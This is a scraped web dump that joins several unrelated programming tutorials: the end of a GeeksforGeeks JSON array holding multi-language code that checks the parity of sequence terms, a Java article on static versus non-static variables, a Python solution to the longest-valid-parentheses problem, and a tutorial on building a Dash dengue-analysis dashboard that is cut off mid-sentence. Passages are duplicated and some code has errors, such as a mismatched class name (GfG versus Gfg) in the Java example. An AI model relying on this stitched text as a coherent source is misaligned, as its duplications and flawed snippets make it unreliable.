findNature($a, $b, $n){ global $MAX; $seq = array_fill(0,$MAX, 0); $seq[0] = $a; $seq[1] = $b; for ($i = 2; $i <= $n; $i++) $seq[$i] = $seq[$i - 1] + $seq[$i - 2]; // Return true if odd return ($seq[$n] & 1);} // Driver Code$a = 2;$b = 4;$n = 3; if(findNature($a, $b, $n))echo \"Odd\";elseecho \"Even\"; // This code is contributed by mits?>", "e": 3708, "s": 3139, "text": null }, { "code": "<script> // Javascript Program to check if the// nth is odd or even in a// sequence where each term is sum// of previous two termvar MAX = 100; // Return if the nth term is even or odd.function findNature(a, b, n){ var seq = Array(MAX).fill(0); seq[0] = a; seq[1] = b; for (var i = 2; i <= n; i++) seq[i] = seq[i - 1] + seq[i - 2]; // Return true if odd return (seq[n] & 1);} // Driven Programvar a = 2, b = 4;var n = 3;(findNature(a, b, n) ? (document.write( \"Odd\" + \" \")) : (document.write( \"Even\" + \" \"))); </script>", "e": 4332, "s": 3708, "text": null }, { "code": null, "e": 4337, "s": 4332, "text": "Even" }, { "code": null, "e": 5299, "s": 4339, "text": "Method 2 (efficient) : Observe, the nature (odd or even) of the nth term depends on the previous terms, and the nature of the previous term depends on their previous terms and finally depends on the initial value i.e a0 and a1. So, we have four possible scenarios for a0 and a1: Case 1: When a0 an a1 is even In this case each of the value in the sequence will be even only.Case 2: When a0 an a1 is odd In this case, observe a2 is even, a3 is odd, a4 is odd and so on. So, we can say ai is even if i is of form 3*k – 1, else odd.Case 3: When a0 is even and a1 is odd In this case, observe a2 is odd, a3 is even, a4 and a5 is odd, a6 is even and so on. So, we can say, ai is even if i is multiple of 3, else oddCase 4: When a0 is odd and a1 is even In this case, observe a2 and a3 is odd, a4 is even, a5 and a6 is odd, a7 is even and so on. So, we can say, ai is even if i is of the form 3*k + 1, k >= 0, else odd.Below is the implementation of this approach: " }, { "code": null, "e": 5303, "s": 5299, "text": "C++" }, { "code": null, "e": 5308, "s": 5303, "text": "Java" }, { "code": null, "e": 5316, "s": 5308, "text": "Python3" }, { "code": null, "e": 5319, "s": 5316, "text": "C#" }, { "code": null, "e": 5323, "s": 5319, "text": "PHP" }, { "code": null, "e": 5334, "s": 5323, "text": "Javascript" }, { "code": "// CPP Program to check if the nth is odd or even in a// sequence where each term is sum of previous two term#include <bits/stdc++.h>using namespace std; // Return if the nth term is even or odd.bool findNature(int a, int b, int n){ if (n == 0) return (a & 1); if (n == 1) return (b & 1); // If a is even if (!(a & 1)) { // If b is even if (!(b & 1)) return false; // If b is odd else return (n % 3 != 0); } // If a is odd else { // If b is odd if (!(b & 1)) return ((n - 1) % 3 != 0); // If b is even else return ((n + 1) % 3 != 0); }} // Driven Programint main(){ int a = 2, b = 4; int n = 3; (findNature(a, b, n) ? (cout << \"Odd\" << \" \") : (cout << \"Even\" << \" \")); return 0;}", "e": 6268, "s": 5334, "text": null }, { "code": "// Java Program to check if the nth is odd or even in a// sequence where each term is sum of previous two term class GFG{// Return if the nth term is even or odd.static boolean findNature(int a, int b, int n){ if (n == 0) return (a & 1)==1?true:false; if (n == 1) return (b & 1)==1?true:false; // If a is even if ((a & 1)==0) { // If b is even if ((b & 1)==0) return false; // If b is odd else return (n % 3 != 0); } // If a is odd else { // If b is odd if ((b & 1)==0) return ((n - 1) % 3 != 0); // If b is even else return ((n + 1) % 3 != 0); }} // Driven Programpublic static void main(String[] args){ int a = 2, b = 4; int n = 3; if(findNature(a, b, n)) System.out.println(\"Odd\"); else System.out.println(\"Even\"); }}// This Code is contributed by mits", "e": 7195, "s": 6268, "text": null }, { "code": "# Python3 Program to check if the# nth is odd or even in a# sequence where each term is# sum of previous two term # Return if the nth# term is even or odd.def findNature(a, b, n): if (n == 0): return (a & 1); if (n == 1): return (b & 1); # If a is even if ((a & 1) == 0): # If b is even if ((b & 1) == 0): return False; # If b is odd else: return True if(n % 3 != 0) else False; # If a is odd else: # If b is odd if ((b & 1) == 0): return True if((n - 1) % 3 != 0) else False; # If b is even else: return True if((n + 1) % 3 != 0) else False; # Driver Codea = 2;b = 4;n = 3; if (findNature(a, b, n) == True): print(\"Odd\", end = \" \");else: print(\"Even\", end = \" \"); # This code is contributed by mits", "e": 8051, "s": 7195, "text": null }, { "code": "// C# Program to check if the nth is odd or even in a// sequence where each term is sum of previous two term class GFG{// Return if the nth term is even or odd.static bool findNature(int a, int b, int n){ if (n == 0) return (a & 1)==1?true:false; if (n == 1) return (b & 1)==1?true:false; // If a is even if ((a & 1)==0) { // If b is even if ((b & 1)==0) return false; // If b is odd else return (n % 3 != 0); } // If a is odd else { // If b is odd if ((b & 1)==0) return ((n - 1) % 3 != 0); // If b is even else return ((n + 1) % 3 != 0); }} // Driven Programstatic void Main(){ int a = 2, b = 4; int n = 3; if(findNature(a, b, n)) System.Console.WriteLine(\"Odd\"); else System.Console.WriteLine(\"Even\"); }}// This Code is contributed by mits", "e": 8965, "s": 8051, "text": null }, { "code": "<?php// PHP Program to check if the// nth is odd or even in a// sequence where each term is// sum of previous two term // Return if the nth// term is even or odd.function findNature($a, $b, $n){ if ($n == 0) return ($a & 1); if ($n == 1) return ($b & 1); // If a is even if (!($a & 1)) { // If b is even if (!($b & 1)) return false; // If b is odd else return ($n % 3 != 0); } // If a is odd else { // If b is odd if (!($b & 1)) return (($n - 1) % 3 != 0); // If b is even else return (($n + 1) % 3 != 0); }} // Driver Code$a = 2; $b = 4;$n = 3; if (findNature($a, $b, $n) == true) echo \"Odd\",\" \";else echo \"Even\",\" \"; // This code is contributed by ajit?>", "e": 9790, "s": 8965, "text": null }, { "code": "<script> // Javascript Program to check if the nth is odd or even in a // sequence where each term is sum of previous two term // Return if the nth term is even or odd. function findNature(a, b, n) { if (n == 0) return (a & 1)==1?true:false; if (n == 1) return (b & 1)==1?true:false; // If a is even if ((a & 1)==0) { // If b is even if ((b & 1)==0) return false; // If b is odd else return (n % 3 != 0); } // If a is odd else { // If b is odd if ((b & 1)==0) return ((n - 1) % 3 != 0); // If b is even else return ((n + 1) % 3 != 0); } } let a = 2, b = 4; let n = 3; if(findNature(a, b, n)) document.write(\"Odd\"); else document.write(\"Even\"); // This code is contributed by suresh07.</script>", "e": 10772, "s": 9790, "text": null }, { "code": null, "e": 10777, "s": 10772, "text": "Even" }, { "code": null, "e": 10785, "s": 10779, "text": "jit_t" }, { "code": null, "e": 10798, "s": 10785, "text": "Mithun Kumar" }, { "code": null, "e": 10808, "s": 10798, "text": "rutvik_56" }, { "code": null, "e": 10817, "s": 10808, "text": "suresh07" }, { "code": null, "e": 10830, "s": 10817, "text": "simmytarika5" }, { "code": null, "e": 10840, "s": 10830, "text": "Fibonacci" }, { "code": null, "e": 10853, "s": 10840, "text": "Mathematical" }, { "code": null, "e": 10866, "s": 10853, "text": "Mathematical" }, { "code": null, "e": 10876, "s": 10866, "text": "Fibonacci" } ]
Difference between static and non-static variables in Java - GeeksforGeeks
26 Apr, 2019 There are three types of variables in Java: Local Variables Instance Variables Static Variables The Local variables and Instance variables are together called Non-Static variables. Hence it can also be said that the Java variables can be divided into 2 categories: Static Variables: When a variable is declared as static, then a single copy of the variable is created and shared among all objects at a class level. Static variables are, essentially, global variables. All instances of the class share the same static variable.Important points for static variables :-We can create static variables at class-level only. See herestatic block and static variables are executed in order they are present in a program.Below is the Java program to demonstrate that static block and static variables are executed in order they are present in a program.// Java program to demonstrate execution// of static blocks and variablesclass Test { // static variable static int a = m1(); // static block static { System.out.println("Inside static block"); } // static method static int m1() { System.out.println("from m1"); return 20; } // static method(main !!) public static void main(String[] args) { System.out.println("Value of a : " + a); System.out.println("from main"); }}Output:from m1 Inside static block Value of a : 20 from main Important points for static variables :- We can create static variables at class-level only. See here static block and static variables are executed in order they are present in a program. Below is the Java program to demonstrate that static block and static variables are executed in order they are present in a program. // Java program to demonstrate execution// of static blocks and variablesclass Test { // static variable static int a = m1(); // static block static { System.out.println("Inside static block"); } // static method static int m1() { System.out.println("from m1"); return 20; } // static method(main !!) public static void main(String[] args) { System.out.println("Value of a : " + a); System.out.println("from main"); }} Output: from m1 Inside static block Value of a : 20 from main Non-Static VariableLocal Variables: A variable defined within a block or method or constructor is called local variable.These variable are created when the block in entered or the function is called and destroyed after exiting from the block or when the call returns from the function.The scope of these variables exists only within the block in which the variable is declared. i.e. we can access these variable only within that block.Initialisation of Local Variable is Mandatory.Instance Variables: Instance variables are non-static variables and are declared in a class outside any method, constructor or block.As instance variables are declared in a class, these variables are created when an object of the class is created and destroyed when the object is destroyed.Unlike local variables, we may use access specifiers for instance variables. If we do not specify any access specifier then the default access specifier will be used.Initialisation of Instance Variable is not Mandatory. Its default value is 0Instance Variable can be accessed only by creating objects.Example :// Java program to demonstrate// non-static variables class GfG { // non-static variable int rk = 10; public static void main(String[] args) { // Instance created inorder to access // a non static variable. Gfg f = new Gfg(); System.out.println("Non static variable" + " accessed using instance" + " of a class"); System.out.println("Non Static variable " + f.rk); }}Output:Non static variable accessed using instance of a class. Non Static variable 10 Local Variables: A variable defined within a block or method or constructor is called local variable.These variable are created when the block in entered or the function is called and destroyed after exiting from the block or when the call returns from the function.The scope of these variables exists only within the block in which the variable is declared. i.e. we can access these variable only within that block.Initialisation of Local Variable is Mandatory. These variable are created when the block in entered or the function is called and destroyed after exiting from the block or when the call returns from the function. The scope of these variables exists only within the block in which the variable is declared. i.e. we can access these variable only within that block. Initialisation of Local Variable is Mandatory. Instance Variables: Instance variables are non-static variables and are declared in a class outside any method, constructor or block.As instance variables are declared in a class, these variables are created when an object of the class is created and destroyed when the object is destroyed.Unlike local variables, we may use access specifiers for instance variables. If we do not specify any access specifier then the default access specifier will be used.Initialisation of Instance Variable is not Mandatory. Its default value is 0Instance Variable can be accessed only by creating objects. As instance variables are declared in a class, these variables are created when an object of the class is created and destroyed when the object is destroyed. Unlike local variables, we may use access specifiers for instance variables. If we do not specify any access specifier then the default access specifier will be used. Initialisation of Instance Variable is not Mandatory. Its default value is 0 Instance Variable can be accessed only by creating objects. Example : // Java program to demonstrate// non-static variables class GfG { // non-static variable int rk = 10; public static void main(String[] args) { // Instance created inorder to access // a non static variable. Gfg f = new Gfg(); System.out.println("Non static variable" + " accessed using instance" + " of a class"); System.out.println("Non Static variable " + f.rk); }} Non static variable accessed using instance of a class. Non Static variable 10 The main differences between static and non static variables are: shubham_singh Picked Static Keyword Difference Between Java Java Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Difference between Process and Thread Difference between var, let and const keywords in JavaScript Difference Between Method Overloading and Method Overriding in Java Stack vs Heap Memory Allocation Difference Between Spark DataFrame and Pandas DataFrame Arrays in Java Split() String method in Java with examples For-each loop in Java Arrays.sort() in Java with examples Reverse a string in Java
[ { "code": null, "e": 24426, "s": 24398, "text": "\n26 Apr, 2019" }, { "code": null, "e": 24470, "s": 24426, "text": "There are three types of variables in Java:" }, { "code": null, "e": 24486, "s": 24470, "text": "Local Variables" }, { "code": null, "e": 24505, "s": 24486, "text": "Instance Variables" }, { "code": null, "e": 24522, "s": 24505, "text": "Static Variables" }, { "code": null, "e": 24691, "s": 24522, "text": "The Local variables and Instance variables are together called Non-Static variables. Hence it can also be said that the Java variables can be divided into 2 categories:" }, { "code": null, "e": 25833, "s": 24691, "text": "Static Variables: When a variable is declared as static, then a single copy of the variable is created and shared among all objects at a class level. Static variables are, essentially, global variables. All instances of the class share the same static variable.Important points for static variables :-We can create static variables at class-level only. See herestatic block and static variables are executed in order they are present in a program.Below is the Java program to demonstrate that static block and static variables are executed in order they are present in a program.// Java program to demonstrate execution// of static blocks and variablesclass Test { // static variable static int a = m1(); // static block static { System.out.println(\"Inside static block\"); } // static method static int m1() { System.out.println(\"from m1\"); return 20; } // static method(main !!) public static void main(String[] args) { System.out.println(\"Value of a : \" + a); System.out.println(\"from main\"); }}Output:from m1\nInside static block\nValue of a : 20\nfrom main\n" }, { "code": null, "e": 25874, "s": 25833, "text": "Important points for static variables :-" }, { "code": null, "e": 25935, "s": 25874, "text": "We can create static variables at class-level only. See here" }, { "code": null, "e": 26022, "s": 25935, "text": "static block and static variables are executed in order they are present in a program." }, { "code": null, "e": 26155, "s": 26022, "text": "Below is the Java program to demonstrate that static block and static variables are executed in order they are present in a program." }, { "code": "// Java program to demonstrate execution// of static blocks and variablesclass Test { // static variable static int a = m1(); // static block static { System.out.println(\"Inside static block\"); } // static method static int m1() { System.out.println(\"from m1\"); return 20; } // static method(main !!) public static void main(String[] args) { System.out.println(\"Value of a : \" + a); System.out.println(\"from main\"); }}", "e": 26657, "s": 26155, "text": null }, { "code": null, "e": 26665, "s": 26657, "text": "Output:" }, { "code": null, "e": 26720, "s": 26665, "text": "from m1\nInside static block\nValue of a : 20\nfrom main\n" }, { "code": null, "e": 28390, "s": 26720, "text": "Non-Static VariableLocal Variables: A variable defined within a block or method or constructor is called local variable.These variable are created when the block in entered or the function is called and destroyed after exiting from the block or when the call returns from the function.The scope of these variables exists only within the block in which the variable is declared. i.e. we can access these variable only within that block.Initialisation of Local Variable is Mandatory.Instance Variables: Instance variables are non-static variables and are declared in a class outside any method, constructor or block.As instance variables are declared in a class, these variables are created when an object of the class is created and destroyed when the object is destroyed.Unlike local variables, we may use access specifiers for instance variables. If we do not specify any access specifier then the default access specifier will be used.Initialisation of Instance Variable is not Mandatory. Its default value is 0Instance Variable can be accessed only by creating objects.Example :// Java program to demonstrate// non-static variables class GfG { // non-static variable int rk = 10; public static void main(String[] args) { // Instance created inorder to access // a non static variable. Gfg f = new Gfg(); System.out.println(\"Non static variable\" + \" accessed using instance\" + \" of a class\"); System.out.println(\"Non Static variable \" + f.rk); }}Output:Non static variable accessed using instance of a class.\nNon Static variable 10\n" }, { "code": null, "e": 28853, "s": 28390, "text": "Local Variables: A variable defined within a block or method or constructor is called local variable.These variable are created when the block in entered or the function is called and destroyed after exiting from the block or when the call returns from the function.The scope of these variables exists only within the block in which the variable is declared. i.e. we can access these variable only within that block.Initialisation of Local Variable is Mandatory." }, { "code": null, "e": 29019, "s": 28853, "text": "These variable are created when the block in entered or the function is called and destroyed after exiting from the block or when the call returns from the function." }, { "code": null, "e": 29170, "s": 29019, "text": "The scope of these variables exists only within the block in which the variable is declared. i.e. we can access these variable only within that block." }, { "code": null, "e": 29217, "s": 29170, "text": "Initialisation of Local Variable is Mandatory." }, { "code": null, "e": 29809, "s": 29217, "text": "Instance Variables: Instance variables are non-static variables and are declared in a class outside any method, constructor or block.As instance variables are declared in a class, these variables are created when an object of the class is created and destroyed when the object is destroyed.Unlike local variables, we may use access specifiers for instance variables. If we do not specify any access specifier then the default access specifier will be used.Initialisation of Instance Variable is not Mandatory. Its default value is 0Instance Variable can be accessed only by creating objects." }, { "code": null, "e": 29967, "s": 29809, "text": "As instance variables are declared in a class, these variables are created when an object of the class is created and destroyed when the object is destroyed." }, { "code": null, "e": 30134, "s": 29967, "text": "Unlike local variables, we may use access specifiers for instance variables. If we do not specify any access specifier then the default access specifier will be used." }, { "code": null, "e": 30211, "s": 30134, "text": "Initialisation of Instance Variable is not Mandatory. Its default value is 0" }, { "code": null, "e": 30271, "s": 30211, "text": "Instance Variable can be accessed only by creating objects." }, { "code": null, "e": 30281, "s": 30271, "text": "Example :" }, { "code": "// Java program to demonstrate// non-static variables class GfG { // non-static variable int rk = 10; public static void main(String[] args) { // Instance created inorder to access // a non static variable. Gfg f = new Gfg(); System.out.println(\"Non static variable\" + \" accessed using instance\" + \" of a class\"); System.out.println(\"Non Static variable \" + f.rk); }}", "e": 30784, "s": 30281, "text": null }, { "code": null, "e": 30864, "s": 30784, "text": "Non static variable accessed using instance of a class.\nNon Static variable 10\n" }, { "code": null, "e": 30930, "s": 30864, "text": "The main differences between static and non static variables are:" }, { "code": null, "e": 30944, "s": 30930, "text": "shubham_singh" }, { "code": null, "e": 30951, "s": 30944, "text": "Picked" }, { "code": null, "e": 30966, "s": 30951, "text": "Static Keyword" }, { "code": null, "e": 30985, "s": 30966, "text": "Difference Between" }, { "code": null, "e": 30990, "s": 30985, "text": "Java" }, { "code": null, "e": 30995, "s": 30990, "text": "Java" }, { "code": null, "e": 31093, "s": 30995, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 31102, "s": 31093, "text": "Comments" }, { "code": null, "e": 31115, "s": 31102, "text": "Old Comments" }, { "code": null, "e": 31153, "s": 31115, "text": "Difference between Process and Thread" }, { "code": null, "e": 31214, "s": 31153, "text": "Difference between var, let and const keywords in JavaScript" }, { "code": null, "e": 31282, "s": 31214, "text": "Difference Between Method Overloading and Method Overriding in Java" }, { "code": null, "e": 31314, "s": 31282, "text": "Stack vs Heap Memory Allocation" }, { "code": null, "e": 31370, "s": 31314, "text": "Difference Between Spark DataFrame and Pandas DataFrame" }, { "code": null, "e": 31385, "s": 31370, "text": "Arrays in Java" }, { "code": null, "e": 31429, "s": 31385, "text": "Split() String method in Java with examples" }, { "code": null, "e": 31451, "s": 31429, "text": "For-each loop in Java" }, { "code": null, "e": 31487, "s": 31451, "text": "Arrays.sort() in Java with examples" } ]
Longest Valid Parentheses in Python
Suppose we have a string, with opening and closing parentheses. We have to find the longest length of the valid (well-formed) parentheses. So if the input is like “))(())())”, then the result will be 6, as the valid string is “(())()”. To solve this, we will follow these steps − Make a stack, and insert -1., set ans := 0 Make a stack, and insert -1., set ans := 0 for i in range 0 to length of stack – 1if s[i] is opening parentheses, then insert i into stackotherwiseif stack is not empty and top of stack is not -1 and s[stack top] is opening parentheses, thentop element from stackans := max of ans and i – stack topotherwise insert i into stack for i in range 0 to length of stack – 1 if s[i] is opening parentheses, then insert i into stack if s[i] is opening parentheses, then insert i into stack otherwiseif stack is not empty and top of stack is not -1 and s[stack top] is opening parentheses, thentop element from stackans := max of ans and i – stack topotherwise insert i into stack otherwise if stack is not empty and top of stack is not -1 and s[stack top] is opening parentheses, thentop element from stackans := max of ans and i – stack top if stack is not empty and top of stack is not -1 and s[stack top] is opening parentheses, then top element from stack top element from stack ans := max of ans and i – stack top ans := max of ans and i – stack top otherwise insert i into stack otherwise insert i into stack return ans return ans Let us see the following implementation to get a better understanding − Live Demo class Solution(object): def longestValidParentheses(self, s): stack = [-1] ans = 0 for i in range(len(s)): if s[i] == "(": stack.append(i) else: if stack and stack[-1]!=-1 and s[stack[-1]] == "(": stack.pop() ans = max(ans,i - stack[-1]) else: stack.append(i) return ans ob = Solution() print(ob.longestValidParentheses("))(())())")) "))(())())" 6
[ { "code": null, "e": 1298, "s": 1062, "text": "Suppose we have a string, with opening and closing parentheses. We have to find the longest length of the valid (well-formed) parentheses. So if the input is like “))(())())”, then the result will be 6, as the valid string is “(())()”." }, { "code": null, "e": 1342, "s": 1298, "text": "To solve this, we will follow these steps −" }, { "code": null, "e": 1385, "s": 1342, "text": "Make a stack, and insert -1., set ans := 0" }, { "code": null, "e": 1428, "s": 1385, "text": "Make a stack, and insert -1., set ans := 0" }, { "code": null, "e": 1713, "s": 1428, "text": "for i in range 0 to length of stack – 1if s[i] is opening parentheses, then insert i into stackotherwiseif stack is not empty and top of stack is not -1 and s[stack top] is opening parentheses, thentop element from stackans := max of ans and i – stack topotherwise insert i into stack" }, { "code": null, "e": 1753, "s": 1713, "text": "for i in range 0 to length of stack – 1" }, { "code": null, "e": 1810, "s": 1753, "text": "if s[i] is opening parentheses, then insert i into stack" }, { "code": null, "e": 1867, "s": 1810, "text": "if s[i] is opening parentheses, then insert i into stack" }, { "code": null, "e": 2057, "s": 1867, "text": "otherwiseif stack is not empty and top of stack is not -1 and s[stack top] is opening parentheses, thentop element from stackans := max of ans and i – stack topotherwise insert i into stack" }, { "code": null, "e": 2067, "s": 2057, "text": "otherwise" }, { "code": null, "e": 2219, "s": 2067, "text": "if stack is not empty and top of stack is not -1 and s[stack top] is opening parentheses, thentop element from stackans := max of ans and i – stack top" }, { "code": null, "e": 2314, "s": 2219, "text": "if stack is not empty and top of stack is not -1 and s[stack top] is opening parentheses, then" }, { "code": null, "e": 2337, "s": 2314, "text": "top element from stack" }, { "code": null, "e": 2360, "s": 2337, "text": "top element from stack" }, { "code": null, "e": 2396, "s": 2360, "text": "ans := max of ans and i – stack top" }, { "code": null, "e": 2432, "s": 2396, "text": "ans := max of ans and i – stack top" }, { "code": null, "e": 2462, "s": 2432, "text": "otherwise insert i into stack" }, { "code": null, "e": 2492, "s": 2462, "text": "otherwise insert i into stack" }, { "code": null, "e": 2503, "s": 2492, "text": "return ans" }, { "code": null, "e": 2514, "s": 2503, "text": "return ans" }, { "code": null, "e": 2586, "s": 2514, "text": "Let us see the following implementation to get a better understanding −" }, { "code": null, "e": 2597, "s": 2586, "text": " Live Demo" }, { "code": null, "e": 3054, "s": 2597, "text": "class Solution(object):\n def longestValidParentheses(self, s):\n stack = [-1]\n ans = 0\n for i in range(len(s)):\n if s[i] == \"(\":\n stack.append(i)\n else:\n if stack and stack[-1]!=-1 and s[stack[-1]] == \"(\":\n stack.pop()\n ans = max(ans,i - stack[-1])\n else:\n stack.append(i)\n return ans\nob = Solution()\nprint(ob.longestValidParentheses(\"))(())())\"))" }, { "code": null, "e": 3066, "s": 3054, "text": "\"))(())())\"" }, { "code": null, "e": 3068, "s": 3066, "text": "6" } ]
Creating a Web Application to Analyse Dengue Cases | by Benedict Soh | Towards Data Science
Information is power. Information on your fingertips is superpower. During this period, I chanced upon many visualisations on COVID-19 on Reddit, Twitter, and Facebook. Many of them are very inspirational and it is so pleasing to be able to ingest a huge amount of information in such a short period of time. I was motivated to build a dashboard as well on COVID-19 but I felt that there are more than enough out there. Hence, I decided to work on another issue, Dengue Fever, which is also a pressing issue. Data is readily available on data.gov.sg, but there are 3 main issues: Some data does not have any visualisationsData is all over the place and additional effort is required to filter the resultsThere is not enough data to tell a story Some data does not have any visualisations Data is all over the place and additional effort is required to filter the results There is not enough data to tell a story This drove me to build a dashboard on my own. There are 3 main parts to this project: Analysis: I visualised the number of dengue cases, and created an overlayed map of dengue hot zones and breeding spots.News retrieval: This tab is able to retrieve news from multiple sources on the topic “Dengue”.Twitter Analysis: This feature forms the main bulk of the project. In short, I retrieve twitter data in real-time and analyse their sentiments, presenting them in charts. Analysis: I visualised the number of dengue cases, and created an overlayed map of dengue hot zones and breeding spots. News retrieval: This tab is able to retrieve news from multiple sources on the topic “Dengue”. Twitter Analysis: This feature forms the main bulk of the project. In short, I retrieve twitter data in real-time and analyse their sentiments, presenting them in charts. The purpose of this project is to show how simple it can be to build such a powerful application. It need not be on Dengue. It can be on any topic out there. For this project, it is not the content that matters, but the skills. This is more of a proof of concept rather than a final product. I will be walking you through all the 3 different parts of the project while providing snippets of code. Hopefully, you will be able to replicate it for your own meaningful projects. Do scroll to the bottom of this article for the link to the full code. Before I start, I would like to talk about how this project is built. This project is built with Dash, which is a Python framework for building Data Science/ML projects. Along with dash bootstrap component (DBC) and dash core components (DCC), you will need minimal HTML/CSS skills to build your web application. Each of the 3 features taps on different technologies (will be further explained). All these features are then deployed using Heroku, which is a cloud platform as a service (PaaS), that allows you to deploy your application to the cloud with ease. Dash applications mostly consist of 2 sections. App layout is the front-end portion of your application. However, all thanks to DBC and DCC, you do not need complex HTML codes to create your application. For instance, my entire app was created with the following code: # Code partially hidden for readability# Layout of entire appapp.layout = html.Div( [ navbar, dbc.Tabs( [ dbc.Tab(analysisTab, id="label_tab1", label="Visuals"), dbc.Tab(newsTab, ...), dbc.Tab(socialMediaTab, ...), dbc.Tab(infoTab, ...), ], style={"font-size": 20, "background-color": "#b9d9eb"}, ), ]) Of course, you will have to specify what is analysisTab, newsTab, etc. You can see how abstract your application becomes with DBC and DCC. Both DBC and DCC provides buttons, tabs, forms, navigation bar along with many other essential components. App callbacks can be considered the backend portion of your application. If you were to observe the above code, you will notice that I assigned an id="label_tab1" to my analysisTab this helps us to identify which callbacks to use for that specific component. An example of a callback is as shown: @app.callback( Output("sa-graph", "children"), [Input("interval-component-slow", "n_intervals")])def sa_line(n): children = [...] return children What this does is that it will take an input component interval-component-slow with a specified parameter n_intervals and output the results children that was created by a method sa_line() to the output component sa-graph. This is especially useful if you want to make your application interactive. For instance, you can allow your visualisations to change according to a radio button that was clicked by a user. However, a callback is not always required if you want your application to be static. You will realise that my first 2 tabs did not make use of callbacks as I do not require any inputs from my users. I am only required to resent information to them. The 3rd tab (twitter analysis) is a special case. I had to use callbacks as I want my analysis to refresh every 30 seconds. More about this later! Full code here. The main learning point for this section is the usage of Geopandas and Folium. The data downloaded from data.gov.sg comes in a GeoJSON format. GeoJSON files allow you to encode geographical data into an object. It has a very structured format which includes the type, geometry, and properties of the location. Since dengue clusters involve a plot of land, our locations are encoded in a Polygon object, which is an array of longitudes and latitudes. Reading a GeoJSON file is easy. We simple use Geopandas: central_data = gpd.read_file("data/dengue-cases-central-geojson.geojson") Once the data is loaded, manipulation should be pretty easy, provided that you are well versed with a DataFrame. Folium allows us to visualise our GeoJSON data in a leaflet (a JavaScript library for interactive maps) map. First, we create a map and zoom in to our desired spot (in my case, I chose the longitude and latitude of Singapore): kw = {"location": [1.3521, 103.8198], "zoom_start": 12}m = folium.Map(**kw) Next, I add 2 layers (one for clusters and another for breeding zones) to the map: folium.GeoJson(<FIRST LAYER DATA>, ...).add_to(m)folium.GeoJson(<SECOND LAYER DATA>, ...).add_to(m) Lastly, since Dash does not allow me to display folium objects directly, I exported the resulting map into an HTML file and displayed that using an IFrame: m.save("dengue-cluster.html")html.Iframe(id="dengue-map", srcDoc=open("dengue-cluster.html", "r").read(), ...) Full code here. The main learning point for this section is the usage of the NewsAPI. NewsAPI allows us to search for news articles from multiple sources using their API. Before you can start using it, you will be required to sign up for an account in order to obtain your own unique API key. Note that as a free-tier member, you will be limited in terms of the number of news retrievable per day. Keys are very important! Just like how you would not share your house keys with your friends, you will not want to share your API keys. When you are developing on your local system, I highly suggest that you keep all your keys in a keys.py file and add that file to .gitignore so that it does not get pushed online. Since you did not push keys.py to GitHub, Heroku cannot access it. Instead, Heroku have their own configuration variables. You can add your keys to Heroku either via the CLI or their GUI. For deployment purposes, we get our code to retrieve keys depending if we are on our local system or Heroku: try: from keys import newsapikey # retrieve from local system newsapi = NewsApiClient(api_key=newsapikey)except: newsapikey = os.environ["newapi_key"] # retrieve from Heroku newsapi = NewsApiClient(api_key=newsapikey) Next, we can finally retrieve our news articles: all_articles = newsapi.get_everything( q="dengue singapore", from_param=date_n_days_ago, to=date_now, language="en", sort_by="publishedAt", page_size=100, ) There are 3 main functions newsapi.get_everything() , newsapi.get_top_headlines() and newsapi.get_sources(). Use any you deem fit! We can then retrieve our content. An example of retrieving the title of all articles is as shown: all_articles_title = [ str(all_articles["articles"][i]["title"]) for i in range(len(all_articles["articles"])) ] Now that you have your data, you can add them using DBC. For this project, I made use of CardImg, CardBody, and CardFooter. This forms the bulk of the project. I made use of Tweepy, which is a Python library that allows us to access the Twitter API to stream tweets. My aim is to retrieve all tweets related to ‘Dengue’, pre-process the text, analyse the sentiments, and visualise the results. Tweets are continuously being mined from Twitter and my application will refresh every 30 seconds to display the new data. At this stage, I should probably introduce to you the workflow. Tweets are being pulled from TwitterTweets are being cleaned (translated to English, emojis removed, links removed) and sentiment of the tweets are analysed by TextBlob)A connection to a database is established and the processed tweets and sentiments are pushed to the database every time a new tweet comes in. For a local system, I used MySQL and for Heroku, I used their PostgreSQL database. This script is kept running.At the same time, I retrieve tweets that are older than a day and delete them from the database. This will ensure that our database does not run out of space.With my application running in parallel, it will retrieve an hour's worth of data from the database every 30 seconds and display them. Tweets are being pulled from Twitter Tweets are being cleaned (translated to English, emojis removed, links removed) and sentiment of the tweets are analysed by TextBlob) A connection to a database is established and the processed tweets and sentiments are pushed to the database every time a new tweet comes in. For a local system, I used MySQL and for Heroku, I used their PostgreSQL database. This script is kept running. At the same time, I retrieve tweets that are older than a day and delete them from the database. This will ensure that our database does not run out of space. With my application running in parallel, it will retrieve an hour's worth of data from the database every 30 seconds and display them. Just like NewsAPI, Tweepy requires us to generate API keys as well. Head on to Twitter Developer to get yours! Full code here. Note that commented codes are for MySQL and uncommented codes are for PostgreSQL. Step 1: Initialise the database by creating a database for us if the database and table do not exist. DATABASE_URL = os.environ["DATABASE_URL"]conn = psycopg2.connect(DATABASE_URL, sslmode="require")cur = conn.cursor()cur.execute( """ SELECT COUNT(*) FROM information_schema.tables WHERE table_name = '{0}' """.format( parameters.TABLE_NAME ))if cur.fetchone()[0] == 0: cur.execute( "CREATE TABLE {} ({});".format( parameters.TABLE_NAME, parameters.TABLE_ATTRIBUTES ) ) conn.commit()cur.close() Step 2: Initialise Twitter API and start streaming myStreamListener = MyStreamListener()myStream = tweepy.Stream(auth=api.auth, listener=myStreamListener)myStream.filter(track=parameters.TRACK_WORDS) Step 3: Process every tweet coming in. In order to achieve this, you have to override tweepy.StreamListener, which is the class responsible for pushing new tweets from Twitter to you. # Override tweepy.StreamListener to add logic to on_statusclass MyStreamListener(tweepy.StreamListener): def on_status(self, status): # Start modifying id_str = status.id_str created_at = status.created_at clean_text, text = preprocess(status.text) sentiment = TextBlob(text).sentiment polarity = sentiment.polarity ... # SQL statement for pushing tweets to DB ... # SQL statement for deleting and cleaning DB ... The trick to getting your application refresh every x seconds is with dcc.Interval. By adding an interval to your application as an input to your callback, you are telling your application to regenerate your component every x seconds. dcc.Interval( id="interval-component-slow", interval=30000, # in milliseconds n_intervals=0, ), Full code for visualisations here. Firstly, we have to retrieve the data that was scraped: # Loading data from Heroku PostgreSQL DATABASE_URL = os.environ["DATABASE_URL"] db_connection = psycopg2.connect(DATABASE_URL, sslmode="require")# Load last 1 hour data from MySQL ...query = "SELECT ... FROM {} WHERE created_at >= '{}' ".format( "dengue", timenow )df = pd.read_sql(query, con=db_connection)# Convert UTC into SGT ... Next, the data is cleaned and transformed for the 